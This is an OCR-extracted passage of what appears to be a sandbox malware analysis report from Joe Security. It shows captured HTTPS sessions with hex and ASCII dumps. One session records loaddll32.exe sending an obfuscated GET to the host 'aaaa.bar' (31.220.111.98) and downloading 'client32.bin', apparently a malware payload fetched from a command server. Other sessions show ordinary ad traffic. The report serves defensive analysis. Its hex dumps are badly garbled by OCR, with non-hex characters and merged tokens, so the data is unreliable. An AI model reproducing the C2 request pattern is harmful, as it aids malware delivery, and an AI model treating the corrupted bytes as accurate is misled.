21 dd 90 99 be 5a 86 38 60 0a 64 5e c0 3c 9b 98 4a c1 8a ae e6 Ob 47 ee Ob ba db c2 e3 cc 1e f2 82 cf 91 7a 59 09 fb 82
ef d3 2c 94 20 0d b3 b6 8e fe fd 12 23 d6 25 d3 1e 4c 5e f8 72 51 3b 5a 5¢ 95 64 a0 88 22 56 ba 5f d3 14 e8 00 66 ea fb 4f
45 b5 4e 9b 57 cf 89 c4 4e a6 c4 Of dd 04 48 55 f2 4d 05 24 24 ¢3 51 8a b9 48 c7 c6 d8 f6 c9 af f1 de eb 65 ff 4b 63 c3 ea
a4 5d 7b 34 40 46 9d 9a 1f be 2 e5 78 ae 49 25 7f 4a 1c 95 15 02 ba 5f ad 1f 2e 56 d5 e7 19 6f de 86 4e d2 7b 7a de 6d f8
e7 dc 57 f5 23 81 91 3e ab 9d df bf 74 84 26 4b
Data Ascii: LY7Hs_XDW'FK;WtU%aTr0e3#!Z8 d"<JGzY, #%L"rQ;Z\d"V_fOENWNHUM$$QHeKc|{4@FxI1%J_.V
oN{zmW#>t&K

2021-10-20 13:12:21 UTC 1573 IN Data Raw: 20 bc 07 a2 70 Oc ba 65 28 80 61 ab 01 b1 81 37 31 09 a2 al 66 5c¢ 85 4e 97 ed 5b 95 a8 9f 75 75 3d 68 61 73
f3 92 62 84 80 1b 83 41 4d a0 6a 3c 97 8b d3 01 45 8e 7d cf 25 76 f8 60 d6 85 04 29 da f2 2a 6a f3 5¢ 61 19 53 6a €0 54
b4 ¢8 d0 3d ec bl f6 a8 41 70 ee a4 81 45 ae cb e4 8 8e 6b 38 06 eb 05 dd ba 7a af f5 35 93 6b 7d ¢7 2c 71 20 21 07 81
ac Ob 8d 58 €3 6b 10 c¢6 50 0f 13 ad a6 al 48 72 94 7d dd ce 69 16 50 6f 88 bb 55 6f 6¢ 31 8b ed e7 4b ea a0 cf 38 71 e4
Oc f9 89 79 21 01 d8 34 b9 1e 5e 00 38 24 6b ea be e2 59 48 44 b1 52 cd b1 4b f0 70 a9 f8 5e 59 be b8 eb c3 7f 82 9c 9a
ff 12 47 93 09 c4 42 ba 07 90 86 13 79 cd el 4f f3 2c cf e3 13 d4 63 f4 a7 c6 57 a3 a5 9b 80 40 43 ce 8d 9b eb 6e bd 6 db
92 35 b5 45 df 08 5a f2 df 84 f0 c2 9c 93 80 35 01 c8
Data Ascii: pe(a71f\N[uu=hasbAM|<E}%V")*\aSjT=ApEk8z5k},q XkPHr}iPoUol1K8qy!4"8%kYHDRKp"YGBYO,cW@
Cn5EZ5
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kBytes
Timestamp

2021-10-20 13:12:22 UTC 1589

2021-10-20 13:12:22 UTC 1605

2021-10-20 13:12:22 UTC 1621

2021-10-20 13:12:22 UTC 1637

2021-10-20 13:12:22 UTC 1653

2021-10-20 13:12:22 UTC 1669

2021-10-20 13:12:22 UTC 1685

2021-10-20 13:12:22 UTC 1701

Session ID Source IP

21 192.168.2.5
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

transferred

Direction

IN

Source Port
49972

Direction

Data

Data Raw: 3b 57 ae 94 64 el a2 2f 21 c8 68 fe 83 €9 c0 cc a5 b4 7d ed a7 76 49 ee 30 ac 0d 6b 83 8d 7e 8c ee f8 05 a7
b8 0d 28 e8 9f 3a fb Ob 38 bd fc e6 f8 al f9 86 52 ed 92 14 e5 a5 bb 73 24 43 Oc 32 6b €9 a3 3e 89 9 40 7e 69 90 4b b7
6a bf 9b fa 8c e4 ad 3a 20 45 36 5a 03 e0 ff 57 aa de 5d 27 4d 6d f8 a4 95 ae 49 02 c3 28 03 59 cd e3 fc €9 10 ac 2e 39
9c 64 22 3e 5a¢2 81 57 11 29 68 Oc 61 51 2f dd c5 b5 77 8f 31 ac 3c 48 aa 79 78 74 63 5c da a6 49 bc d2 39 01 f1 Of bb
c2 f6 2a 5f 28 b1 0d 45 ca €9 dd 2c 23 c9 61 c2 45 e8 64 1d 29 cb b1 f7 70 c4 6d Ob 74 3d 1a 6f 20 €9 67 f2 6¢ 6a 67 15 27
d6 86 19 bf d1 31 31 15 ca c2 el 0d 22 6 cd 34 a4 87 47 81 23 7c 06 aa db 60 22 7b 5d 59 df 70 e6 8f 80 70 c9 d4 2e 2f
2298 bb ad 88 ch b3 3b b0 11 09 ab 1a f3 75 16 9d 3b

Data Ascii: ;Wd/!h}vIOk~(:8Rs$C2k>@~iKj: E6ZW]'MmI(Y.9d">ZW)haQ/wl<Hyxtc\I9*_(E #aEd)pmt=o gljg'11"4G#|™"{]Ypp
TN

Data Raw: f4 45 5b 10 5c 2d 4f 1a 90 46 e3 a0 a3 5d 2e e4 27 e6 81 b2 37 {3 fe f5 c0 cb e2 5a Oc 85 ¢8 56 8d 72 ef 1d 40
1f bd 5e 9f e2 2¢ 58 0d ce 81 8d 68 22 f1 3e be b1 ce 56 8e 96 ed 7f cb 93 2f c6 da 16 3f 14 29 1e 69 9f ec 31 e0 23 9a 44
94 ef 4b d8 dO c1 08 99 69 29 c8 2a 18 90 5d 29 c6 dO cf 66 66 b7 01 05 60 Ob 83 1a 6d f9 a0 1d a2 2d 4d a8 5e fc 38 c5
9e 05 82 09 de 00 4f b7 73 ea fb 72 8¢ cf 67 11 83 58 16 68 e5 c9 91 0f c6 ab 3c ca bl 6f a4 bf 65 €6 a9 54 f6 5¢ e5 52 58
a347c029a5023c267e718743dbe8e312c256f4e8cla278c510 6540 9f cb f9 f8 c9 72 03 b4 6e 95 83 be c1
6e 77 9d 2a 24 bb 73 49 27 db 0a 07 10 9c 66 19 ba ea 00 22 f3 19 53 e4 al e4 9f 83 db a8 a6 ea 07 ec 20 6f 87 4f c8 Oa
75 cc cc e6 2d fd 2d de 8a 1a 29 f7 1le 23 9e 84

Data Ascii: E[\-OF]."7ZVr@",Xh">V/?)i1#DKi)*])ff m-M"80srgXh<oe T\RXG)<&~qCVxe@rnnw*$sl'f'S oOu--)#

Data Raw: b0 34 69 ae f2 ed 91 62 cf 4c f2 04 e4 81 46 be 40 88 33 ea 12 7f 56 54 38 6e db 40 6d 51 a2 77 ae 02 c6 38 fe
95 2b 17 d7 46 6d 99 c8 3d a7 24 23 10 19 04 2e 3f b8 3d 3c 61 b3 75 82 al db 73 32 a3 ba 8c 74 19 28 b4 61 32 ce 18

c2 a7 b8 29 64 f0 59 ea 32 6e 80 1c e4 08 95 08 11 60 54 47 4f 6e a4 5¢ 7e 63 6d 92 07 c8 8d 02 05 b3 5f 8e 4d dd 31 80
60 af 08 f7 83 2a 1c 25 60 d0 f5 0d dc 79 5d 9d f6 32 fa 40 07 fO 0d a6 3 a4 7c 6e 95 c0 37 Of b2 f6 fd 4c a0 42 ea 19 f4 5¢
ae dd 23 9b f7 bb d5 6f Oc 63 d1 92 98 60 b3 c4 66 10 04 d9 51 49 7c 5e 2a 52 89 d4 a2 1a ee db f4 56 d6 53 c7 b3 05 c1
4471 f4 45 8a b0 67 98 7d 76 d2 c0 €9 48 78 c3 e4 75 71 8b 47 b9 c0 41 8a 1c 15 d7 33 95 c1 46 41 8d 8f bd b8 6b 7c 5d
0b 00 3c fb f4 92 c9 be 97 92 fc 29 98 dc 54 40 51

Data Ascii: 4ibLF@3VT8n@mQw8+Fm=$#.?=<aus2t(a2)dY2n TGOn\~cm_M1"*%'y]2@|n7LBX#oc fQI|**RVS
DqEg}VHXxugGA3FAK[I<)T@Q

Data Raw: a6 7e c3 d7 27 38 80 6d 49 5d ad 80 7b 43 c3 fc 9a 87 9f 53 3a b7 14 15 97 8a 69 87 72 bc 3c a7 88 le 34 ff
Oe d6 ba 8e 0f 5d 42 b0 9a d6 48 bf 3d 19 e5 d6 3e 7b 3b 5f 5e b8 5d 9f a4 ac b0 8e a3 bb €9 89 1e 98 f2 24 ce 4f d6 42
b4 09 c7 14 65 d4 28 df 25 8d fd 27 a5 fc 9a 08 3c 41 73 ca 7e 2¢ b9 b3 10 20 dO 50 ad 19 1f 23 a0 13 9c 55 b8 30 b4 ed
€306 18 78 7c 56 12 8e 4d dd 81 ab 9f 21 dc bl 8a 1le aa 8d 1b d5 4b e4 66 9c c8 fc 23 e2 16 65 0f 60 75 d1 21 8f 15 4e
4c 9f ef 63 22 84 4b 27 19 d0 65 1c ff cO 40 8f 76 82 c9 84 e6 Oc 61 f7 d3 32 8a 48 e6 f8 d6 8c 63 4a 68 b4 7b 5e bd f8 69
6 a9 61 13 bf 1a 14 4d 37 04 c2 8 f3 78 71 1f 87 78 1c ed ae 8f 85 45 7e a4 e4 9f 1d be 25 ea 73 b0 1c 81 9b ee 91 31 b2
97 03 2f 7c b8 3e 09 86 68 f0 fe Oc 26 42 85 4a la

Data Ascii: ~'8mI}{CS:ir<4]BH=>{;_"]$OBe(%'<As~, P#U0x|VM!Kf#e u!NLc"K'e@va2HcIh{*iaM7xgxE~%s1/|>h&BJ

Data Raw: ad e0 d1 12 29 22 49 f9 a7 34 97 6f 16 37 a2 81 a9 13 85 99 88 2d b8 18 ed ea 94 02 b8 22 70 88 Oc 4e Oe 1b
00 37 07 5d 64 37 f1 6a 4c 38 7a f2 3a 1b 46 ef 40 57 8c el 17 93 3c a3 4b 92 85 6a 10 e7 3f 00 44 98 2b c3 fa ee 7f 6b 37
fb da 91 35 cf 6a 80 66 60 87 9f 24 9d 96 42 04 c0 b3 9a 33 cc 61 ca 16 f3 ed e7 ea a7 3a 20 Of e8 34 ed 80 fe f9 c1 74 5d
e2 f9 4a 63 04 d3 49 a0 05 Oa f8 4a d1 0a 90 61 6a 78 cd d8 dO bd e8 5d 41 37 ce 31 6a 1a 93 62 b6 40 78 c3 39 a0 e3 b5
1d 16 ¢7 a4 52 64 c1 al 86 59 17 c6 04 73 90 dc 81 c5 b8 85 f8 c8 87 c0 a5 92 a0 ed 29 c2 60 be 4c e0 €9 2e 7b 3f fd 5b
0f a7 d8 d8 2b 82 e3 60 b6 29 35 2b 35 eb de 6d d5 5b 09 af 1e 19 62 3c c6 34 06 bb 37 el 4c c6 d5 6a Oc e7 7e d4 bc 17
02 40 74 1f 2d 3c fc d2 07 5e 59 fc 92 9e d4 c9 59

Data Ascii: )"l407-"pN7]d7jL8z:F@W<K]?D+k75jf $B3a: 4t]JclJajx]A71jb@x9RdYs) L.{?[+")5+5m[b<47Lj~@t-<"YY

Data Raw: 1d 15 22 2b 66 85 73 55 9e f6 5d a8 ee ce a7 ad €3 06 87 85 cc aa 6b f2 42 fd 2e 71 66 12 47 8e 4f 20 98 f2 f2
2f c8 e4 86 04 6d 89 5a 47 41 b4 ¢5 b3 2c b5 72 11 ed ba 4a 11 d8 c5 78 7a 07 5e 3a 35 5b 79 1b ea f0 cd 1c 51 ca d6 3f
7c2a 8333 78 eaf8ald25356 01 d8 bcf070e3c756dl49 7c 69 88 45 fd 9e f8 75 51 b3 6b 86 60 ec 24 61 d5 01 53
6 dd 5f dO fc 4a c2 a4 a7 9a el 19 6e 91 30 ef 70 fc 6b 93 3¢ 90 8 f6 19 fc a6 ce fc 4e 06 d6 48 8f d3 2d 9d 12 97 9d 2e
cb d0 Of ee c6 9c 88 05 10 81 d9 1b 82 d6 24 26 e5 f9 81 16 d7 c4 21 f4 8d 80 59 6e 21 72 al 30 24 dc 56 eb le c2 33 72
fe 43 94 d6 {7 89 b8 f9 cO bd e3 2a fb 80 da Of al ff 1d 43 89 84 1a b5 ef f5 db bc e9 79 91 d6 80 6d 40 24 9f 96 b2 01 78
4a 45 bf 58 84 4b 5e 45 41 b6 5b 47 0d e4 3b e4

Data Ascii: "+fsUJkB.qfGO /mZGA,rIxz":5[yQ?|*3xSVpVI|IEuQk $aS_Jn0Opk<NH-.$&!Yn!r0$V3rC*Cym@$xJEXK EA[G;

Data Raw: 2e fb d7 0d cb 00 dd e6 64 4f 12 08 ca b5 65 15 ea dd 61 cf 59 a0 04 52 6d 3a 86 4a 5c 6f 3c 6¢ 28 15 af b6 dO
89 01 51 da 89 16 c7 3c 79 9b 77 68 ca cd 8¢ 91 5e 7 6f 51 58 f6 11 eb 66 ¢3 96 07 b5 3c 1f 26 a5 27 0a 26 66 13 20 26
le ed 1f 1e 48 82 7f 31 ¢3 3e 11 2e 36 52 61 d9 12 a3 8a 5b d8 ad 2e eb c4 f5 02 a5 f3 57 48 23 3e e2 49 bc 1c 72 e8 1d
42 3484 0c e4 4b 29 19 0d 98 88 d1 f8 85 30 f5 bc 13 32 3e d8 76 cb 37 60 de ac 31 9d bc c1 16 d8 ea 49 2d d5 70 d8 18
86 1a c3 e6 5¢ b3 d0 15 54 d4 a9 76 e7 43 90 50 a7 09 85 d6 8b 54 00 3d d6 c1 cd 33 9 99 9b 62 8d Ob 61 48 63 fd 51
6859 24 9e e2 b2 37 dd ce 4a 4e ba 5e 02 84 db 7f 49 bd al cO de 66 €3 69 a4 1f 2a Oc 67 99 85 fb 24 98 b2 ab 69 af 8e
8c 62 79 8¢ Oc 4b d4 5d 7a 2f 03 f4 f8 ac 01 36 31 ab 4a

Data Ascii: .dOeaYRm:J\o<I(Q<ywh"oQXf<&&f &H1>.6Ra[.WH#>IrB4K)02>v7" 11-p\TVCPT=3baHcQhY$7INAIfi*g$i
byK]z/61J

Data Raw: 9a fa 62 32 5e b9 ab 85 b9 ab 50 c2 4a 8f c4 09 06 ae d5 bc 3a f3 8f fO af d1 30 Ob 9a cf 47 a5 60 5a 9d a6 b3
3 db df 96 f0 20 0d a5 af d2 f4 64 bd 31 5 be 5d 3 c5 fa 96 bb b3 a5 6d de cc Ob 5 bf 50 97 43 de 4f 1a 6d 46 32 20 ed 7C
40 f0 8e 52 f1 9b a7 17 20 51 75 c9 52 f0 df 6f 73 c6 07 1d 2a 25 36 cb 2a 6f 45 b8 56 ed 01 4a f2 36 7a e4 02 b6 48 2f 27
9c 06 4a 19 1f 1d 07 33 7c 4d d9 28 2c 7d 74 84 5¢c 11 7c 58 97 9d 6a ab dd eb d2 6¢ d9 06 63 cc 3e 4a da c1 53 67 47 fc
ef 52 94 5a 60 47 3b a9 3c 3b 31 a2 8e 39 86 a6 02 7d 89 e6 27 f4 64 49 f4 28 Oe 30 dc Oc 71 Oc 45 b0 da 9e ea 87 8e 11
ac 2c 22 ca 4e 8d 3f ae 3f 71 19 52 29 a0 82 9e 3b eb db c6 1e bf 9 4e b1 8b 87 d5 1f 14 a3 8a 84 41 34 77 05 fa 28 d8
dd ef 95 86 ec 0f 8d cb 65 Oc f0 72 f7 2a fa

Data Ascii: b2"PJ:0G"Z d1]JmPCOmF2 p@R QuR0s*%6*0EVJ6zH/'I3IM(,}1\|Xjlc>ISgGRZ G;<;19}'dI(0gE,"N??gR)
;NAdw(er*

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loadd|I32.exe

Data
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kBytes
Timestamp transferred

2021-10-20 13:12:24 UTC 1716

2021-10-20 13:12:25 UTC 1717

2021-10-20 13:12:25 UTC 1717

Session ID Source IP

3 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:08:50 UTC 12

2021-10-20 13:08:50 UTC 12

2021-10-20 13:08:50 UTC 13

2021-10-20 13:08:50 UTC 13

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49825

Direction

ouT

Data

GET /jdraw/gquCtxgLcwr_2F/e84ivzpkcm6RjGEX01HRQ/1JrxRgAMZnr84pf7/d6zLIeHTDCpRxyP/mtUcNkhWJ
9YEaOQAKuU/ZbEc2Du6X/JsZUowsYOu98vblofvm0/EeOsadhZCmRp8ZCZ8KO/Ei99ya5BDB6uxeZYaXwGYu/W7LMC3
IC7p7Aq/X8nzxfM9/9M7hUrRFHoU/Zf8MWSTW.crw HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=odtoci95m4hvgdsrbg2j2bach6

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 20 Oct 2021 13:12:24 GMT
Content-Type: application/zip
Content-Length: 1849

Connection: close

X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public

Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

Data Raw: 22 1f 12 32 d8 c6 ba 35 1b ff 2a a8 1c 15 83 72 b3 16 30 ce 8b f2 94 08 32 b5 de 35 dc 20 3e ac 5d 96 4d c1 42
3b eb 46 b9 92 bf 30 9f dO 97 {7 68 13 8c 4f ec d3 8¢ 98 37 3b 38 Oc 51 23 b9 f0 b7 b7 68 ff 4b ce a9 e2 e3 Oa fb e3 28 6e
38 b4 86 ed 03 1a b9 b3 8d e3 35 69 c2 0Of bd f8 60 4a 2a ba b5 be 77 d8 2¢c 7e 54 ea b0 d2 c4 21 2c 2f 64 67 78 04 20 fb
5 b4 13 84 8f 93 92 a9 da b7 b0 d8 c4 f3 26 b2 9b 6b d4 41 a2 c0 2c 65 66 7d 01 c0 92 8f 3e be 38 el 5d 3b d7 Of a8 6f 1f
17 e3 68 76 c4 94 df 75 68 dc cf b3 96 d9 68 a9 37 d4 9e 63 ee b1 03 af 8a 98 78 93 81 67 51 05 29 ae f7 06 1d 8d 12 90
182 ea b8 3a bb 3b 1a 73 ab 17 ff bb 0a ba al e4 5b 0f 0d b8 1e 90 30 67 3c 7b 7f 44 09 be Ob ee fd 94 d7 8d fb 6a e7 6f
b3 40 4c 70 ab fe 15 b8 b5 c7 e8 0d 01 1a 59

Data Ascii: "25*r025 >]MB;FOhO7;8Q#hK(n85i J*w,~T!,/dgx &KkA,ef}>8];0hvuhh7cxgQ):;s[0g<{Djo@LpY

Destination IP Destination Port Process

172.217.168.38 443

Data

GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad.doubleclick.net

Connection: Keep-Alive

Cookie: IDE=AHWqTUKh5fOLAUMX20ZV8xqf__2tu45ymTec8GQQE60qWkIcSV6VA3zk 7PBuUk4

HTTP/1.1 200 OK

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Type: image/x-icon

Access-Control-Allow-Origin: *

Cross-Origin-Resource-Policy: cross-origin

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media"

Report-To: {"group”:"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-
to/ads-doubleclick-media}]}

Content-Length: 1078

Date: Wed, 20 Oct 2021 12:04:13 GMT

Expires: Thu, 21 Oct 2021 12:04:13 GMT

Last-Modified: Tue, 08 May 2012 13:08:06 GMT

X-Content-Type-Options: nosniff

Server: sffe

X-XSS-Protection: 0

Age: 3877

Cache-Control: public, max-age=86400

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 00 00 01 00 02 00 10 10 10 00 00 00 00 00 28 01 00 00 26 00 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 4e
01 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 cO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 111111111111 11111111
1111111111111121121121111111111111111111111111111211111111111111111111111111111111
111111111111111121111211211111111111111121111111112112111111111111111111111111111111
111111111111111111111111111111111111111111111111

Data Ascii: (& N(

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 0000111111 11111111111111111111
1111111111111111111111121111121211111112111111211111121211111111111112111111111111111
1111111111111121111111211111121111111211211112111111111111111112111111111111111111111
111111111111111112111111111111111111121111111211111111111111111111111111111111111
111111112111111121111111211111121211111212211111111111121111112111111111111111111111111
11111111111111121111111111111211111121211111111111121111112111111111111111111111111
111111111111111111111121111111111111111111111111111

Data Ascii:
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Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49834 151.101.1.44 443
kBytes
Timestamp transferred Direction Data
2021-10-20 13:08:55 UTC 15 ouT GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%

2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5b179a030c29alac065fdc22323514dd.png HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

2021-10-20 13:08:56 UTC 17 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 14430
Server: nginx
Content-Type: image/jpeg
access-control-allow-headers: X-Requested-With
access-control-allow-origin: *
edge-cache-tag: 593442488486134507491728786000581519378,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70
etag: "44534c75f7eb3b79cde764316d4dc36¢c"
expiration: expiry-date="Mon, 11 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Fri, 10 Sep 2021 06:07:54 GMT
timing-allow-origin: *
x-ratelimit-limit: 101
x-ratelimit-remaining: 98
x-ratelimit-reset: 1
X-envoy-upstream-service-time: 68
X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb201
Cache-Control: public, max-age=31536000
Accept-Ranges: bytes
Date: Wed, 20 Oct 2021 13:08:55 GMT
Via: 1.1 varnish
Age: 1729120
X-Served-By: cache-wdc5553-WDC, cache-mxp6949-MXP
X-Cache: HIT, HIT
X-Cache-Hits: 1, 6
X-Timer: S1634735336.997005,VS0,VEQ
Vary: ImageFormat
X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5b179a030c29alac065fdc22323514dd.png
X-vcl-time-ms: 0

2021-10-20 13:08:56 UTC 18 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 Of 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01
01 00 00 0f 30 61 70 70 6¢ 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 €5 00 01 00 01 00 03 00 0f 00 14 61 63
7370 41 50 50 4c 00 00 00 00 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6 d6 00 01 00 00 00
00 d32d 61 70 70 6¢ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 64 65 73 63 00 00 01 50 00 00 00 62 64 73 63 6d 00 00 01 b4 00 00 04
18 63 70 72 74 00 00 05 cc 00 00 00 23 77 74 70 74 00 00 05 fO 00 00 00 14 72 58 59 5a 00 00 06 04 00 00 00 14 67 58
59 5a 00 00 06 18 00 00 00 14 62 58 59 5a 00 00 06 2¢ 00 00 00 14 72
Data Ascii: JFIF@ICC_PROFILEOappImntrRGB XYZ acspAPPLAPPL-appldescPbdscmcprt#wiptrXYZgXYZbXYZ,r

2021-10-20 13:08:56 UTC 19 IN Data Raw: 00 43 00 44 00 20 00 43 00 6f 00 6¢ 00 6f 00 72 00 69 00 64 00 6f 00 4b 00 6f 00 6¢ 00 6f 00 72 00 20 00 4c 00
4300 44 03 88 03 b3 03 c7 03 ¢1 03 ¢9 03 bc 03 b7 00 20 03 bf 03 b8 03 cc 03 bd 03 b7 00 20 00 4c 00 43 00 44 00 46 00
€4 00 72 00 67 00 2d 00 4c 00 43 00 44 00 52 00 65 00 6e 00 6b 00 6¢ 00 69 00 20 00 4c 00 43 00 44 30 ab 30 €9 30 fc
00 4c 00 43 00 44 00 4c 00 43 00 44 00 20 00 61 00 20 00 43 00 6f 00 72 00 65 00 73 74 65 78 74 00 00 00 00 43 6f 70
797269 67 68 74 20 41 70 70 6¢ 65 20 49 6e 63 2e 2¢ 20 32 30 32 31 00 00 58 59 5a 20 00 00 00 00 00 00 f0 cf 00 01 00
000001 19 11 58 59 5a 20 00 00 00 00 00 00 80 c2 00 00 3c 4b ff ff ff b9 58 59 5a 20 00 00 00 00 00 00 4e 49 00 00 b5
€8 00 00 Oa e9 58 59 5a 20 00 00 00 00 00 00 27 cb 00 00 0d
Data Ascii: CD ColoridoKolor LCD LCDFrg-LCDRenkli LCDOOOLCDLCD a CorestextCopyright Apple Inc., 2021XYZ XYZ <
KXYZ NIXYZ*

2021-10-20 13:08:56 UTC 21 IN Data Raw: 40 e7 41 29 41 6a 41 ac 41 ee 42 30 42 72 42 b5 42 f7 43 3a 43 7d 43 c0 44 03 44 47 44 8a 44 ce 45 12 45 55
45 9a 45 de 46 22 46 67 46 ab 46 f0 47 35 47 7b 47 c0 48 05 48 4b 48 91 48 d7 49 1d 49 63 49 a9 49 f0 4a 37 4a 7d 4a c4
4b Oc 4b 53 4b 9a 4b e2 4c 2a 4c 72 4c ba 4d 02 4d 4a 4d 93 4d dc 4e 25 4e 6e 4e b7 4f 00 4f 49 4f 93 4f dd 50 27 50 71
50 bb 51 06 51 50 51 9b 51 e6 52 31 52 7c 52 ¢7 53 13 53 5f 53 aa 53 f6 54 42 54 8f 54 db 55 28 55 75 55 c2 56 0f 56 5¢
56 a9 56 f7 57 44 57 92 57 e0 58 2f 58 7d 58 cb 59 1a 59 69 59 b8 5a 07 5a 56 5a a6 5a f5 5b 45 5b 95 5b e5 5¢ 35 5¢ 86
5c d6 5d 27 5d 78 5d c9 5e 1a 5e 6¢ 5e bd 5f Of 5f 61 5f b3 60 05 60 57 60 aa 60 fc 61 4f 61 a2 61 f5 62 49 62 9c 62 f0 63
43 63 97 63 eb 64 40 64 94 64 €9 65 3d 65 92 65 e7 66
Data Ascii: @A)AJAABOBrBBC:C}CDDGDDEEUEEF"'FgFFG5G{GHHKHHIIcIIJ7J}KKSKKL*LILMMIMMN%NNNOOIO
OP'PgPQQPQQR1R|RSS_SSTBTTU(UUUVVAVVWDWWX/XIXYYiYZZVZZIE[NSWIX]MA__a W aOaablbbcCe
cd@dde=eef

2021-10-20 13:08:56 UTC 22 IN Data Raw: da 00 Oc 03 01 00 02 10 03 10 00 00 00 f7 4e 75 4b 16 50 dO 38 35 41 43 a2 1f 1e 87 93 43 df 64 df c9 57 69
0a c0 f9 b3 30 b5 99 a7 26 42 6b 8a ad 65 56 90 19 a9 d7 62 b7 28 €9 b6 2b 7a b6 bd 75 d2 71 cc 55 6¢ 6b a2 49 b8 89
2e ab 53 16 87 ac 3e 56 f8 22 db 01 3d 35 d9 2d ad 79 87 9a 28 b0 ba b2 ee b3 f2 aa 58 94 f1 a6 ae 73 e3 da 09 ea 36 38
ed 67 3f 5d e3 51 56 d2 21 be a7 17 59 20 €0 9c 57 5b ea 8b 7a ad 2c 8f 33 b2 8d 47 8b ea bd 51 98 ed 69 f3 36 15 93 2a
fc cf cc 7d d3 ¢2 3a f8 59 19 b3 3a 78 1e 6a b9 97 57 12 69 ac c1 9a 6d e6 1f 79 cf d7 64 60 b9 6d 2b 7a fa 88 44 Oc 81
la 61 Oe ee b6 ce b7 47 27 07 4b a3 a4 c4 f5 b0 66 f6 33 17 bb 97 97 dO ce 68 1e 33 ed fe 60 f4 f9 2c a6 Of b7 26 7b 4e
da 92 b4 15 72 c1 ba bd ce 4f 5f cd d7 2d cd 20 31 dd e3 a5
Data Ascii: NuKP85ACCdWi0&BkeVb(+zuqUIkl.S>V"=5-y(Xs689?]QV!Y W[z,3GQi6*}:Y:xjWimyd ' m+zDaG'Kf3h3",&{NrO_-
1
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kBytes

Timestamp transferred Direction
2021-10-20 13:08:56 UTC 24 IN
2021-10-20 13:08:56 UTC 25 IN
2021-10-20 13:08:56 UTC 26 IN
2021-10-20 13:08:56 UTC 28 IN
2021-10-20 13:08:56 UTC 29 IN
2021-10-20 13:08:56 UTC 30 IN
2021-10-20 13:08:56 UTC 32 IN
Session ID Source IP Source Port
5 192.168.2.5 49835
kBytes
Timestamp transferred Direction
2021-10-20 13:08:55 UTC 16 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 65 2c 71 94 b9 b1 95 40 e3 a7 74 ce 47 8¢ 5d 90 ea 73 6a 01 32 b6 b7 24 25 d7 d8 d7 8d 23 db 7d 60 26 ef ae
1 6d f1 fb 46 23 16 be c7 c3 be al 86 ce ac 12 22 b8 1f a5 5d 6d 94 9b €3 90 6b cc c2 3d 87 79 13 fc ec ac 63 e2 94 06
ee 06 88 7a fc db e8 b0 0d f5 60 30 5e c0 fb 6a 60 7d b8 3f 78 43 d2 de 39 bf bc 73 22 1a 68 f3 7a 43 1le a4 ac 33 fd e0 43
